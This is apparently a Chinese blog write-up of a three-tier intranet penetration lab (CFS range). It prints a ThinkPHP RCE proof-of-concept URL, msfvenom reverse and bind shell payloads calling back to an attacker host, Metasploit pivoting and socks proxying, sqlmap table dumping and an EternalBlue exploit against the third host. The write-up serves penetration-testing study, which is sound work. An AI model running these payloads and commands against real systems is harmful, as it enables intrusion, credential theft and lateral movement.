CFS三层靶机

参考博客:

CFS三层内网靶场渗透记录【详细指南】 - FreeBuf网络安全行业门户

CFS三层靶机搭建及其内网渗透【附靶场环境】 | TeamsSix

CFS三层网络环境靶场实战 - PANDA墨森 - 博客园 (cnblogs.com)

CFS三层靶机实战--内网横向渗透 - 知乎 (zhihu.com)

CFS靶机实战演练-从外网杀进三层内网,横向渗透拿到Flag-阿里云开发者社区 (aliyun.com)

主机发现

fscan开扫,发现172.25.0.13存活

arget1

端口探测

可以看到Target1存在ftp、ssh、http等端口,且是一个Linux的操作系统。

web渗透

既然存在http服务,那就用浏览器打开看看是个什么

原来是ThinkPHP 5.X框架,直接想到该框架存在远程命令执行漏洞,那就先用POC测试一下

/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

成功出现了PHPinfo界面,说明该版本是存在这在漏洞的,接下来就可以直接上工具写入一句话了

直接工具一把梭,getshell

蚁剑直接连上

注意这里是linux的靶机

设置代理

查看自己的IP地址,并根据自己的IP地址及目标靶机的系统类型生成对应的后门文件

root@kali:~# ifconfig

root@kali:~# msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.88.128 LPORT=6666 SessionCommunicationTimeout=0 SessionExpirationTimeout=0 -f elf >shell.elf

在kali中配置运行监听模块

root@kali:~# msfconsole
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 0.0.0.0
msf5 exploit(multi/handler) > set lport 6666
msf5 exploit(multi/handler) > options
msf5 exploit(multi/handler) > run

通过蚁剑将shell.elf文件上传到Target1中,并赋予777权限以执行

(www:/www/wwwroot/ThinkPHP/public) $ chmod 777 shell.elf
(www:/www/wwwroot/ThinkPHP/public) $ ./shell.elf

然后就是内网渗透了,第一步肯定是要做内网信息收集了:

此时MSF获取到shell,可以通过meterpreter添加第二层的路由

run autoroute -s 192.168.22.0/24
run autoroute -p

这一步也可以使用run post/multi/manage/autoroute自动添加路由

在MSF中添加代理,以便让攻击机访问靶机2,经过多次测试,发现MSF使用socks5代理总是失败,因此这里还是采用了socks4

msf5 > use auxiliary/server/socks4a 
msf5 auxiliary(server/socks4a) > set srvport 2222 
msf5 auxiliary(server/socks4a) > options 
msf5 auxiliary(server/socks4a) > run

修改proxychains-ng的配置文件,这里也可以使用proxychains进行代理,不过前者是后者的升级版,因此这里使用proxychains-ng进行代理

root@kali:~# vim /etc/proxychains.conf
加入以下内容:
socks4 	192.168.88.128 	2222

尝试扫描靶机2,该步骤如果一直提示超时,可以把MSF退出再重新配置

root@kali:~# proxychains4 nmap -Pn -sT ip
-Pn:扫描主机检测其是否受到数据包过滤软件或防火墙的保护。
-sT:扫描TCP数据包已建立的连接connect

Target2

获取shell

上一步发现存在80端口,因此我们设置好浏览器代理后,打开看看

访问80端口,看网页源码有惊喜(一个SQL注入):sqlmap一把梭

proxychains4 sqlmap -u "http://ip/index.php?keyword=1&r=vul" --batch
# 爆破bagecms库下的bage_admin表
proxychains4 sqlmap -u "http://ip/index.php?keyword=1&r=vul" -D "bagecms" -T "bage_admin" --dump --batch
# 测试了--is-dba,不是高权限,那就不尝试--os-shell了

密码MD5解开,结果是123qwe,还找到一个flag。然后得找找后台,一波信息收集得知这个CMS是根据参数作路由的,并根据robots.txt的提示可以发现后台地址http://192.168.22.129/index.php?r=admini/public/login,登录可以发现第二个flag

登陆后台,看看有哪些功能

后台里面有文件上传的地方,有编辑主页文件的地方,为了方便,我们直接把一句话写入网站文件中。模板修改文件,写入一句话也可

蚁剑连接:

设置代理

然后生成后门,用蚁剑传到/tmp目录下:

# 生成一个正向连接后门(因为内网主机无法直接与本机通信,因此无法建立反向连接,需要本机通过代理连接到目标机)
msfvenom -p linux/x64/meterpreter/bind_tcp lport=3210 -f elf > horse2.elf
# 文件上传之后在Webshell执行命令
chmod +x horse2.elf
./horse2.elf
# 本机MSF执行命令
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set RHOST 192.168.22.129
set LPORT 3210
exploit
run post/multi/manage/autoroute

与之前一样,我们可以添加Target3的路由,这里就不用设置代理了,直接添加路由即可

run autoroute -s 192.168.33.0/24
run autoroute -p

尝试扫描Target3

proxychains4 nmap -Pn -sT 192.168.33.33

Target3

获取shell

从扫描的结果来看,不难看出这是一个开放着445、3389端口的Windows系统,那就先用永恒之蓝攻击试试

msf5 > use exploit/windows/smb/ms17_010_psexec 
msf5 exploit(windows/smb/ms17_010_psexec) > set payload windows/meterpreter/bind_tcp 
msf5 exploit(windows/smb/ms17_010_psexec) > set RHOST 192.168.33.33 
msf5 exploit(windows/smb/ms17_010_psexec) > options 
msf5 exploit(windows/smb/ms17_010_psexec) > run

成功拿到shell

相关推荐
九河云36 分钟前
AWS账号注册费用详解:新用户是否需要付费?
服务器·云计算·aws
Lary_Rock40 分钟前
RK3576 LINUX RKNN SDK 测试
linux·运维·服务器
幺零九零零2 小时前
【计算机网络】TCP协议面试常考(一)
服务器·tcp/ip·计算机网络
云飞云共享云桌面3 小时前
8位机械工程师如何共享一台图形工作站算力?
linux·服务器·网络
Peter_chq3 小时前
【操作系统】基于环形队列的生产消费模型
linux·c语言·开发语言·c++·后端
一坨阿亮4 小时前
Linux 使用中的问题
linux·运维
dsywws5 小时前
Linux学习笔记之vim入门
linux·笔记·学习
幺零九零零6 小时前
【C++】socket套接字编程
linux·服务器·网络·c++
wclass-zhengge6 小时前
Docker篇(Docker Compose)
运维·docker·容器
李启柱6 小时前
项目开发流程规范文档
运维·软件构建·个人开发·设计规范